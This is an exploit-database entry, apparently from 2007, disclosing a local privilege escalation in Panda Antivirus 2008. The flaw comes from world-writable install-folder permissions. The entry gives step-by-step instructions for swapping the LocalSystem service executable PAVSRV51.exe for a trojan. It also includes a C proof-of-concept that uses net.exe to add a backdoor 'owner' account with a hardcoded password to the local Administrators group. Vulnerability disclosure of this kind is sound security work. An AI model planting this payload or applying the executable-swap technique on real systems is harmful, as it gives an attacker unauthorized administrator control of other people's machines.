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vendor:
Panda Antivirus
by:
tarkus
5.5
CVSS
MEDIUM
Local Privilege Escalation
269
CWE
Product Name: Panda Antivirus
Affected Version From: Panda Antivirus 2008
Affected Version To: Panda Antivirus 2008
Patch Exists: NO
Related CWE:
CPE: a:panda:panda_antivirus:2008
Metasploit:
Other Scripts:
Platforms Tested: Windows
2007

Panda Antivirus 2008 Local Privilege Escalation

During installation of Panda Antivirus 2008, the permissions for the installation folder are set to Everyone:Full Control, allowing an unprivileged user to replace the service executable with a file of their choice and gain full access with LocalSystem privileges. This can be exploited by renaming the service executable, copying a trojaned application, and rebooting the system.

Mitigation:

Vendor recommends updating to the latest version of the software.
Source

Exploit-DB raw data:

/*
_________________________________________
Security Advisory
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 Severity: Medium
 Title: Panda Antivirus 2008 Local Privileg Escalation
 Date: 02.08.07
 Author: tarkus (tarkus (at) tiifp (dot) org)
 URL: https://tiifp.org/tarkus
 Vendor: Panda (http://www.pandasoftware.com/)
 Affected Products: Panda Antivirus 2008
 Not Affected Products: - Panda Internetsecurity 2008
                        - Panda Antivirus + Firewall 2008

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Description:
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1.  During  installation  of  Panda Antivirus 2008 the permissions for
installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\
by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account. There is no protection of service files. It's
possible for unprivileged user to replace service executable with the
file of his choice to get full access with LocalSystem privileges. Or to
get privileges or any user (including system administrator) who logons
to vulnerable host. This can be exploited by:

   a. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
   b. Copy any application to PAVSRV51.exe
   c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year (https://www.securityfocus.com/bid/19891)


POC:
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*/

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;
}

// milw0rm.com [2007-08-05]